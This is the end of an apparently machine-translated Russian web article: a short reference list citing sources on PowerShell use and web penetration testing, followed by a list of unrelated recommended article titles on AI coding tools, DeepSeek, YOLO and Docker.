Справочная статья выглядит следующим образом: спасибо этим большим ребятам.

  • Книга учителя Сюй Яня «Практическое руководство по тестированию на проникновение в систему веб-безопасности и защите»
  • [сетевая безопасность Самообучение] девятнадцать.Базовое введение и обычное использование Powershell (1)
  • [сетевая безопасность Самообучение] двадцать.Базовое введение в Powershell и общее использование (2)
  • Краткий анализ использования PowerShell — г-н Се
  • https://www.cnblogs.com/yuzly/p/10505365.html
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose